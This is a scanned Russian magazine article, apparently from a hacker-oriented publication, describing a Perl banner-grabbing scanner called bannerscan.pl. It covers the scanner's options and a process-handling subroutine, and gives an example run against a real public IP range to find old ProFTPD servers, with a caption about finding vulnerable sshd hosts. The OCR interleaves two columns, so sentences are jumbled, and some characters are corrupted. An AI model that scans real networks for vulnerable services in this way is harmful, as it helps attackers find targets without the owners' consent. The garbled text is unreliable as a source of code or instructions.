черное дело - чтение баннера с сокета. На этот

и убедиться, что он действительно работает. За-

момент для нас важны две задачи:

ИСХОДНЫЕ ДАННЫЕ

одно сделаем замеры времени сканирования.

Проверять будем на обычном сегменте, который

1. Не допустить переполнения процессов, под-

Как всякий уважающий себя сканер, bannerscan.pl

состоит из 254 ip-адресов. Для определения вре-

держивая _постоянное_ число рабочих потомков.

мени используем фичу time интерпретатора

2. Дожидаться корректного завершения потомка,

получает параметры сканирования прямо из кома-

/bin/bash. Заходим на шелл с быстрым каналом

не убивая его раньше времени.

ндной строки. Если ты посмотришь сорцы скрипта

(нам очень важна скорость) и пишем:

или запустишь его без опций, то увидишь, какие

исходные данные требует сканер. Они задаются

$ time -p perl ./bannerscan.pl -n213.59.0.*

Я ТЕБЯ ПОРОДИЛ, Я ТЕБЯ И УБЬЮ

без установки пробела после ключевой опции.

1. Шаблон подсети -n (обязательный параметр).

-p21 -t10 -olog.txt -rProFTPD~1.2

Удовлетворить наши запросы поможет следую-

щая, не менее важная процедура killpidz(), в кото-

Имеет вид XXX.XXX.XXX.XXX (неопределенные ок-

Терпеливо ждем завершения процесса. Благодаря

рой происходит убийство всех процессов, храня-

теты заменяются звездочками).

нашим потомкам ждать придется недолго. Сканер

щихся в массиве @forked.

Пример использования: -n192.168.*.*

справится с задачей примерно за две минуты.

Все процессы, которые завершаются естествен-

2. Порт для сканирования. За один раз сканиру-

Это доказывает строчка:

ется только один сервис, поэтому твоя задача -

Убийство процессов

указать порт для соединения. Он передается че-

Real 123.11.

рез опцию -p. По умолчанию выбран 22-ой порт.

sub killpidz {

3. Таймаут для соединения. После указанного ко-

После появления заветной строки Scan is com-

личества секунд наступает таймаут при создании

plete самое время посмотреть логи. Делаем cat

foreach (@forked) {

сокета (малое значение параметра может значи-

log.txt и... убеждаемся, что сканер действительно

chomp; ## По каждому процессу из списка

тельно ускорить работу скрипта). Ключевая опция -

waitpid($pid,0); ## Дожидаемся его

t, по умолчанию задается ограничение в 15 секунд.

завершения

4. Лог-файл. В этот файл будут сбрасываться

kill("TERM" => $_) ## А лишь затем убиваем

баннеры, совпавшие с ключевой фразой. Переда-

åãî

ется через опцию -o. Значение по умолчанию:

}

scan.log.

undef @forked; ## Делаем массив @forked

5. Собственно, ключевая фраза. Так как сравне-

неопределенным

ние происходит regexp'ом, то никто не запрещает

}

включить в эту фразу элементы регулярных выра-

жений. Более того, есть возможность использова-

Ищем дырявые sshd... И находим!

58 Ньюсы

1 Феррум

2 Inside

3 PC_Zone

4 Implant